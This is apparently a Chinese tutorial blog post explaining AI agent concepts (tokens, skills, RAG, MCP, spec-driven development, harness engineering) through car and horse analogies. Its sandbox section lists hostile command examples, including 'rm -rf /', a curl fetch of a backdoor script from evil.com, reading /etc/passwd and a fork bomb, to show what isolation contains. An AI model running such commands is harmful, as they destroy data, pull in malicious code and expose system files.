省流版:Token 是钱 · Skill 是 App · RAG 是小抄 · MCP 是 USB-C · SDD 是施工图 · Harness 是马鞍。六个东西串起来,Agent 怎么转的你就全懂了。
🗺️ 先看地图,再上路
ini
┌──────────────────────────────────────────┐
│ 🚗 AI Agent = 一辆智能汽车 │
├──────────────────────────────────────────┤
开车的人 │ 👤 用户 (Chat UI / IDE / 命令行) │
╔═══════════╗ │ ──────────────────────────────── │
║ Harness ║ │ 🛡️ 安全系统:气囊+ABS+车道保持 │ ← 第六章
╔╩═══════════╩╗ │ ──────────────────────────────── │
║ SDD ║ │ 📐 设计图纸:按图造车,验收不过就返工 │ ← 第五章
╔╩═════════════╩╗ │ ──────────────────────────────── │
║ MCP ║ │ 🔌 OBD 标准接口:一个诊断口,插遍所有外设 │ ← 第四章
╔╩═══════════════╩╗│ ──────────────────────────────── │
║ RAG ║ │ 🗺️ 导航系统:实时路况 + 地图数据 │ ← 第三章
╔╩════════════════╩╗│ ──────────────────────────────── │
║ Skill ║ │ 🎛️ 操控总成:方向盘+油门+档位 │ ← 第二章
╔╩══════════════════╩╗│ ──────────────────────────────── │
║ Token ║ │ ⛽ 汽油:没了它,再好的车也是废铁 │ ← 第一章
╚═══════════════════╝│ │
└──────────────────────────────────────────┘
🚗 把 Agent 想象成一辆智能汽车:Token 是汽油(没油跑不动),Skill 是方向盘+油门(操控全靠它),RAG 是导航系统(实时路况靠外部数据),MCP 是 OBD 标准诊断口(一个接口插遍所有外设),SDD 是造车图纸(按图验收,不合格返工),Harness 是安全系统(气囊/ABS/车道保持------出事时保命)。缺任何一个,这车你敢开上路吗?
第一章
1. Token:AI 世界的「汽油 + 油箱 + 计价器」
1.1 到底什么是 Token?
想象你去国外旅游,兜里装着当地的硬币。Token 就是 AI 世界的硬币------你跟它说"帮我写篇文章",它先把你说的每个字兑换成 Token,才能开始"思考"。
⚠️ Token ≠ 字数。一个 Token 是一个「语义碎屑」。
中文 / 英文 / 代码的 Token 消耗对比:
| 语言 | 输入 | 分词结果 | Token 数 | 规律 |
|---|---|---|---|---|
| 中文 | 我爱AI Agent |
我 爱 AI Agent |
4 | 约 1.5~2 字 = 1 token |
| 英文 | I love AI Agent |
I love AI Agent |
4 | 约 1 单词 ≈ 1.3 token |
| 代码 | const x = () => {} |
const x = () => {} |
6 | 标点也算,代码比较"胖" |
1.2 三个概念,三个比喻
ini
🛢️ Token = 汽油 每说一句话就往油箱里灌一点,账单跳一下
⛽ Context Window = 油箱容量 灌满了就得抽掉旧的才能加新的
GPT-4 ≈ 128K token(一本《三体》第一册)
Claude ≈ 200K token(一本半)
💸 Prompt Cache = 加油站会员卡 System Prompt 没变的部分 → 会员价 1 折
这就是为什么 System Prompt 写前面更省钱
(AI 一看:"这段我见过!直接缓存。")
1.3 算一笔账:你让 Agent 写份报告花了多少钱?
bash
第一轮: System Prompt (800) + 你的问题 (200) + AI 回答 (500) = 1,500 token
第二轮: 上面 1,500 + 搜索结果 (3,000) + AI 回答 (800) = 5,300 token
第五轮: 历史膨胀到 12,000 token...
──────────────────────────────────────────────────────────────────────
整个任务合计:~40,000 token
├─ 输入:~35,000 token × $3/百万 ≈ $0.105
├─ 输出:~5,000 token × $15/百万 ≈ $0.075
└─ 合计:$0.18 ≈ 1.3 元人民币
如果命中 Prompt Cache(System Prompt 前 1024 token):
→ 那部分 input 打 1 折 → $0.07 → 省了 60% 💰
💡 输出 Token 比输入 Token 贵 5 倍(推理计算量大),让 AI 少废话 = 省钱。
| 是什么 | 记法 | |
|---|---|---|
| 🩸 Token | Agent 的血液 | 一直在流动,耗尽就脑死亡 |
| 🫀 Context Window | 血管粗细 | 决定了能同时记住多少东西 |
| 🏥 Prompt Cache | 献血站 | 重复利用,省血省钱 |
第二章
2. Skill:Agent 的「乐高积木」
2.1 从一团乱麻到积木套装
V1 裸奔时代 → 每次写 500 字 Prompt,复制粘贴到想死,改一个字可能整段垮掉。
V2 Function Call → 工具变多了,但 Prompt 更乱了。
V3 Tool Definition → {name, description, parameters} --- 工具有了标准格式,但还是散装的。
V4 Skill 时代 🎉
ini
Skill = System Prompt + 一组 Tool + 输入/输出格式 + 触发方式
= 一个"能力胶囊",随用随取,跟吃泡面一样方便
🧩 Skill 就是 Agent 的 App。 你不会每次发微信都重写一遍聊天软件吧?点图标就行。
2.2 拆开一个 Skill
bash
┌─────────────────────────────────────────────┐
│ 📦 Skill:/code-review │
│ "代码审查小助手" │
├─────────────────────────────────────────────┤
│ 🧠 角色设定 │ 你是一个资深代码审查者... │
│ 🔧 工具箱 │ read_file / grep / git_diff │
│ 📥 触发方式 │ /code-review 或自然语言 │
│ 📤 输出格式 │ {bugs: [], suggestions: []} │
└─────────────────────────────────────────────┘
2.3 Skill ≠ Tool ≠ Agent
| 粒度 | 类比 | 举例 | |
|---|---|---|---|
| Tool 工具 | 原子操作 | 🔧 螺丝刀 | 读文件 搜索 发请求 |
| Skill 技能 | Tool + Prompt 封装 | 📱 App | /代码审查 /安全扫描 |
| Agent 智能体 | Skill + 记忆 + 决策 | 🤖 一个人 | Claude Code、Devin |
ini
Skill = Tool₁ + Tool₂ + ... + 角色设定 + 输出模板
Agent = Skill₁ + Skill₂ + ... + 记忆 + 自主决策循环 + Harness
工程心法:
写 Tool → 像写纯函数
写 Skill → 像设计微服务
写 Agent → 像搭一个团队
第三章
3. RAG:给 AI 装上「记忆外挂」
3.1 为什么 AI 需要小抄?
| 硬伤 | 症状 | 名场面 |
|---|---|---|
| 🕰️ 知识截肢 | 训练数据停在某一天 | "我的知识截止到 2025 年..."------哪怕现在狂风暴雨 |
| 🤥 死要面子 | 不知道也要硬编 | 编一个看起来很真的股价(幻觉 = AI 的面子工程) |
| 🧠 金鱼记忆 | Context 根本装不下 | 给它 1000 页 PDF,它说"太长了,我看不完" |
arduino
传统 LLM: 你问 → 凭记忆猜 → "应该是这样吧..."
加了 RAG: 你问 → 先去资料库搜 → 拿着参考答案 → "根据资料,是这样..."
📝 RAG = 给 AI 发一张开卷考试的准考证。 不用背答案,只要知道去哪翻书。
3.2 RAG 全流程:像图书馆里找答案
3.3 两个关键抉择
抉择一:Chunk 切多大?
| 策略 | 效果 | 问题 |
|---|---|---|
| 太小 (128 token) | 精度高 | 「苹果」不知道是手机还是水果 |
| 适中 (512 token) ✨ | 黄金平衡 | 一段完整语义,推荐首选 |
| 太大 (2048 token) | 上下文完整 | 噪音多,搜索精度下降 |
抉择二:怎么检索?
| 策略 | 原理 | 类比 |
|---|---|---|
| BM25 关键词 | 精确匹配 Error 503 |
在文档里 Ctrl+F |
| Embedding 语义 | 「启动不了」≈「启动失败」 | 像人理解同义词 |
| Hybrid 混合 ✨ | 两者加权 | 精确 + 语义 = 双保险,生产首选 |
3.4 RAG 也分三六九等
| Level | 叫什么 | 流程 | 适用场景 |
|---|---|---|---|
| 1 | Naive RAG | 搜 → 拼 → 答 | Demo 够用,生产必炸 |
| 2 | Advanced RAG | 改写 Query → 搜 → Rerank → 答 | 大多数生产场景 |
| 3 | Agentic RAG | Agent 自主决定搜不搜、搜几轮 | 复杂问答 |
| 4 | Graph RAG | 知识图谱 + 向量检索 | 多跳推理、关系型问题 |
| 5 | Self-RAG | 模型反思检索结果是否充分 | 高可靠性场景 |
🔑 做 RAG 就像做饭:锅(向量库)不重要,火候(Chunk)和调味(Rerank)才重要。
第四章
4. MCP:AI 世界的「USB-C 协议」
4.1 线缆地狱 → 一根线走天下
没有 MCP 之前:
css
┌──→ 数据库 → 写 Plugin A
Agent ───┼──→ GitHub → 写 Plugin B
├──→ Slack → 写 Plugin C
└──→ 文件系统 → 写 Plugin D
10 工具 × 5 框架 = 50 次开发
换框架 = 全军覆没,全部重写 🌊
有了 MCP 之后:
arduino
┌──→ 数据库 MCP Server ──┐
Agent ───┼──→ GitHub MCP Server ─┤
├──→ Slack MCP Server ─┼── 统一协议,即插即用
└──→ 文件系统 MCP Server ─┘
10 Server + 5 框架 = 15 次开发
换框架?Server 不动,Client 改一下 ✨
🔌 MCP 之于 Agent = USB-C 之于外设 = 蓝牙之于耳机 = WiFi 之于上网。 标准化协议终结线缆地狱。
4.2 MCP 是怎么工作的?
4.3 MCP 三件套:Tool / Resource / Prompt
ini
┌────────────────────────────────────────────┐
│ MCP Server = 一家餐厅 │
├────────────────────────────────────────────┤
│ 🔧 Tool = 厨房操作 "我可以帮你做菜" │
│ 📦 Resource = 冰柜食材 "我这里有牛肉" │
│ 📋 Prompt = 推荐菜单 "不知道吃啥?试试招牌" │
└────────────────────────────────────────────┘
| 原语 | 功能 | 人话 | 举例 |
|---|---|---|---|
| Tool | 让 Agent 做事 | "我帮你做 XX" | search_code create_pr |
| Resource | 让 Agent 看东西 | "我这有 XX" | 文件、数据库表、API |
| Prompt | 告诉 Agent 怎么想 | "你可以这样思考" | code-review checklist |
4.4 为什么 MCP 是及格线?
❓ "怎么让 Agent 调我的数据库?" → 写个 MCP Server,完事 ❓ "换框架工具要重写吗?" → 不用,Server 不动 ❓ "别人写的工具我能直接用吗?" → 能,MCP 生态即插即用
写一次 Server,跟谁都能跑。 就像 HTTP:不管你用 Chrome 还是 Safari,协议不变。
🔑 MCP 不是框架,是协议 。它是 Agent 和外部世界的普通话------大家都说同一种语言,才不会各说各话。
第五章
5. SDD:从「嘴说需求」到「AI 自动写代码」
5.1 装修队的故事
传统开发(嘴说需求):
你说:"我要一个亮堂的厨房,好看。" 队长自行脑补 → 三周后你看到了一个粉色 Hello Kitty 厨房 🎀 你:"这tm是什么?" 队长:"你说的'好看'啊。"
SDD(规约驱动开发):
你拿出一份施工图:墙面白色瓷砖 30×60cm、台面石英石 #F5F5F5、灯光 4000K ≥300 lux... 按图施工 → 验收对照清单 → 不合格就返工 → 三周后 ✅
SDD = 用结构化的 Spec 代替含糊的需求描述。
5.2 一个真正的 Spec 长什么样?
markdown
## Feature:用户登录
### 描述
用户使用邮箱和密码登录系统。
### 验收条件
- [ ] 正确邮箱 + 正确密码 → 跳转 /dashboard
- [ ] 正确邮箱 + 错误密码 → 提示"密码错误",停在原地
- [ ] 连续 3 次错误 → 锁定 15 分钟
- [ ] 未注册邮箱 → 提示"该邮箱未注册"
- [ ] 输入框为空 → 按钮灰色不可点
### 技术约束
- JWT Token,有效期 2h
- 密码 bcrypt 加密
- 路由:POST /api/auth/login
AI 拿到这份 Spec,直接生成:路由 + 验证 + 错误处理 + 前端组件 + 单测 + E2E。 一份 Spec 全部拿下。
5.3 SDD 的五层境界
💡 大部分团队停在 L1-L2,少数前沿团队在 L3-L4。L5 是理想国,方向是对的。
🔑 SDD 的核心不是「AI 写代码更快」,而是 「需求 → 代码」的可验证闭环 。传统开发中「你理解错了」是最大的 Bug 来源。SDD 用 Spec 作为人和 AI 之间的法律合同。
第六章
6. Harness 工程:Agent 的「缰绳 + 围栏 + 仪表盘」
6.1 为什么需要缰绳?
🐴 如果你养了一匹烈马,你敢撒手让它在大街上跑吗? Agent 就是烈马------聪明、能干、但也可能一脚踩进花坛。 Harness = 控制 Agent 的基础设施。 没有它 = 野生猛兽,有了它 = 家养小帮手。
vbnet
┌──────────────────────────────────────────────────────┐
│ 🏇 Harness 六件套 │
├──────────────────────────────────────────────────────┤
│ 🔒 Sandbox │ 在围栏里跑,别踩别人家花 │
│ 🔑 Permission │ 有些门能进,有些不能 │
│ 🪝 Hook │ 关键时刻拦你一下 │
│ 🔄 Loop │ 定个闹钟,自己知道什么时候起来 │
│ 📊 可观测性 │ GPS 全程跟踪,跑偏了我能看见 │
│ ⏱️ Timeout │ 超时了就别跑了,回来 │
└──────────────────────────────────────────────────────┘
6.2 Sandbox --- 给 Agent 画个圈
Agent 执行的命令是模型实时生成的,模型会幻觉,幻觉会产出离谱命令。
arduino
❌ "rm -rf /" → 沙箱:删虚拟文件,真文件纹丝不动 😎
❌ "curl evil.com/backdoor.sh" → 沙箱:网络隔离,evil.com 连不上 🚫
❌ "cat /etc/passwd" → 沙箱:文件系统只读,白忙活 🔒
❌ "while true; do fork; done" → 沙箱:CPU cgroup 限制,炸不了 💪
| 方案 | 隔离强度 | 类比 | 适用场景 |
|---|---|---|---|
| Docker | ⭐⭐⭐ | 公寓单间 | 通用 Agent |
| Firecracker | ⭐⭐⭐⭐⭐ | 独栋别墅 | 不可信代码 |
| Git Worktree | ⭐⭐ | 桌上铺塑料布 | 代码修改 |
| WebAssembly | ⭐⭐⭐⭐ | 乐高盒子里玩 | 插件/函数 |
6.3 Permission --- 门禁卡系统
arduino
权限五级:
Lv.1 无权限 → "你只能说话,啥也别碰"
Lv.2 只读 → "看可以,摸不行"
Lv.3 安全写入 → "新建/编辑可以,删东西要问"
Lv.4 需确认网络 → "上网可以,每次要批准"
Lv.5 完全自主 → "信你了"(仅限 CI/CD)
🔑 心法:从最严格开始,跑稳了再慢慢放开。就像养娃------先扶着走,再放手跑。
6.4 Hook --- 关键时刻「拦一道」
Hook = Agent 生命周期里的安检口。
vbnet
🚀 启动
│
▼
PreToolUse → "你要 git push --force?先弹确认框!"
│
▼
PostToolUse → "文件改了?自动触发 Prettier 格式化。"
│
▼
Notification → "CI 挂了!Agent 快起来修!"
│
▼
Stop → "结束了?把会话总结存进知识库。"
│
▼
💤 结束
| Hook | 时机 | 用途 |
|---|---|---|
PreToolUse |
工具调用前 | 拦截危险操作、校验参数 |
PostToolUse |
工具调用后 | 自动格式化、记录日志 |
Notification |
外部事件 | CI 通知、Webhook 触发 |
Stop |
Agent 停止 | 资源清理、状态持久化 |
6.5 Loop --- 让 Agent 自己知道什么时候起床
| 模式 | 机制 | 适合 |
|---|---|---|
| ⏰ 闹钟模式 | /loop 5m "检查部署",定时轮询 |
巡检、监控 |
| 🧠 自主模式 | Agent 自己决定睡多久 | 长期任务,不用操心 |
| 📟 传呼机模式 | Webhook 通知触发 | 不轮询,有事才动 |
6.6 可观测性 --- Agent 不能是黑盒
你不监控 Agent,就像闭着眼让实习生负责核心业务: 他可能删库、死循环烧钱、或者"看起来完成了"但只做了一半。
一个生产级 Agent 的仪表盘:
📊 Token 消耗 → 哪个环节最烧钱?(通常是不必要的重试)
⏱️ 延迟分布 → 模型慢还是工具慢?
🔧 工具调用链 → 调了什么?参数是啥?返回值是啥?
❌ 错误率 → 什么类型的任务最容易翻车?
🔄 重试次数 → Agent 在哪个环节反复打转?(死循环预警)
📉 任务完成率 → 到底有多少是真干完了?
🔑 没有 Harness = 玩具,有 Harness = 产品。 五缺一 = 不定时炸弹 💣
终章
7. 大串联:一个完整故事
8. 一张图收尾
markdown
┌──────────────┐
│ 👤 你 │
└──────┬───────┘
│
┌───────────▼───────────┐
│ ⚙️ Harness 缰绳 │ ← 护栏 + 门禁 + 闹钟 + 监控
└───────────┬───────────┘
│
┌───────────▼───────────┐
│ 🤖 Agent 大脑 │ ← 决策引擎
└───┬───────┬───────┬───┘
│ │ │
┌─────────▼──┐ ┌──▼─────┐ │
│ 🧩 Skill │ │📋 SDD │ │ ← 能力单元 + 蓝图
└─────┬──────┘ └────────┘ │
│ │
┌─────────▼──────────┐ │
│ 🔌 MCP USB-C │ │ ← 工具调用标准协议
└─────────┬──────────┘ │
│ │
┌─────────▼──────────┐ │
│ 📚 RAG 小抄 │ │ ← 外部知识注入
└─────────┬──────────┘ │
│ │
┌─────────▼──────────────────▼─┐
│ 💰 Token 汽油 │ ← 计费 + 容量
└─────────────────────────────┘
9. 终极懒人表
| 概念 | 类比 | 没它会发生什么 | 门槛 |
|---|---|---|---|
| Token | 汽油 + 油箱 | Agent 跑半路"饿死"(失忆) | ⭐ |
| Skill | 手机 App | 每次写 500 行 Prompt,复制粘贴到崩溃 | ⭐⭐ |
| RAG | 开卷小抄 | AI 一本正经地胡说八道 | ⭐⭐⭐ |
| MCP | USB-C 接口 | 换框架 = 全部重写 | ⭐⭐⭐ |
| SDD | 装修施工图 | "你理解错了"型 Bug 满天飞 | ⭐⭐⭐⭐ |
| Harness | 马鞍 + 缰绳 + 围栏 | Agent 放飞自我,你不知道它在干嘛 | ⭐⭐⭐⭐⭐ |
10. 学习路径
| 阶段 | 范围 | 目标 |
|---|---|---|
| 前半段 | Token → Skill → RAG | 让 Agent 能干活 |
| 后半段 | MCP → Harness → SDD | 让 Agent 靠谱地干活 |
⚠️ 别跳级------你连 Context Window 都没搞明白就搞 Harness,等于还没学会踩油门就去改赛车悬挂。
📎 延伸阅读
| 资源 | 一句话 |
|---|---|
| Agent-Learning-Hub | 中文最全,Stage 0→8 |
| Anthropic Agent 课程 | 13 堂免费课 + 证书 |
| MCP 官方文档 | 协议规范,写 Server 必看 |
| Claude Code 文档 | Harness 工程的活教材 |
| awesome-agentic-ai-zh | 145+ Agent 项目精选 |
🧬 Token 是血 · Skill 是骨 · RAG 是外挂 · MCP 是神经 · SDD 是蓝图 · Harness 是免疫系统
最后更新:2026-06-01